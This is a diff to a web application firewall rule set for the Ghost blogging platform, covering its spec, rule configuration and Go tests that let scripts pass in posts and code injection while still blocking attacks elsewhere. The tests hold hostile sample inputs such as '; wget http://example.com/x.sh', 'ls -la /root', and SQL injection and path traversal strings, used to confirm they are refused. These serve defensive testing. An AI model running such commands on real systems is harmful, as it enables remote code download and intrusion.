diff --git a/SPEC.md b/SPEC.md index ebc37c8..c2a55fe 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1792,11 +1792,20 @@ Code injection skips these rules: - 921130, 941100, 941160 and 941270, which refused `` and `` elements. -`` and `javascript:alert(1)` are still refused in the -articles and code injection (941110, 941170 and 941210). Path traversal and SQL -injection are still refused in every field above. Script injection is too, -outside the articles. `; wget http://example.com/x.sh` is still refused in the -query fields, the plain text and the addresses. +A `` is still refused in snippets and newsletters. +`javascript:alert(1)` is still refused in the articles and code injection +(941170 and 941210). Path traversal and SQL injection are still refused in every +field above. Script injection is too, outside the articles and code injection. +`; wget http://example.com/x.sh` is still refused in the query fields, the plain +text and the addresses. Coraza names a staff user's `profile_image` field `json.users.0.profile_image`. That name holds `.profile`, a file on the list of system files, so the name diff --git a/internal/coreruleset/ghost.conf b/internal/coreruleset/ghost.conf index 02bda7d..50cb4d1 100644 --- a/internal/coreruleset/ghost.conf +++ b/internal/coreruleset/ghost.conf @@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \ # snippets..lexical and snippets..mobiledoc, a part of a post saved for # reuse # newsletters..footer_content, the footer of a newsletter -# A +# These fields take a ` + +// ghostWidgetCard is ghostWidget as the editor saves it in lexical. +const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` + + `"html":"
"}],` + + `"direction":null,"format":"","indent":0,"type":"root","version":1}}` + +// ghostAnalytics is code injection that loads analytics. +const ghostAnalytics = `` + +func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) { + t.Parallel() + + // An HTML card in a post, as the editor saves it, and as integrations + // send it. + wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false) + + for _, f := range ghostPostFields { + wantGhostField(t, f, ghostWidget, false) + } + + // Site code injection, saved in settings, and a post's or a page's own. + for _, f := range ghostCodeFields { + wantGhostField(t, f, ghostAnalytics, false) + } +} + +// ghostAttacks are an SQL injection and a path traversal, not escaped. // //nolint:gochecknoglobals // a constant cannot be a list -var ghostAttacks = []string{injection, pathTraversal, scriptTag} +var ghostAttacks = []string{injection, pathTraversal} // commandAfterASeparator is a shell command after a ";", not escaped. const commandAfterASeparator = "; wget http://example.com/x.sh" @@ -358,6 +401,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) { } } + // A script injection stays refused in every field that does not take a + // `, true) wantGhostField(t, f, `click`, true) } + for _, f := range ghostSnippetFields { + wantGhostField(t, f, `

Hi

`, true) + } + // An address keeps 932250, which refuses a listing of files. for _, f := range ghostAddressFields { wantGhostField(t, f, "ls -la /root", true) @@ -401,6 +459,9 @@ func TestGhostExclusionsAreNarrow(t *testing.T) { setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}` passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}` userEmail = `{"users":[{"email":"python3.dev@example.com"}]}` + script = `` + scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}` + scriptInSettings = `{"settings":[{"value":"` + script + `"}]}` ) for _, refused := range []struct{ target, body string }{ @@ -419,6 +480,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) { ghostSettings + "?json.settings.0.value=x", `{"settings":[{"value":""}]}`, }, + {"/ghost/api/content/posts/", scriptInPost}, + {ghostPosts + "?json.posts.0.lexical=x", scriptInPost}, + {ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`}, + {"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`}, + {"/api/settings/", scriptInSettings}, + {ghostSettings + "?json.settings.0.value=x", scriptInSettings}, {"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`}, {"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`}, {ghostPosts, email},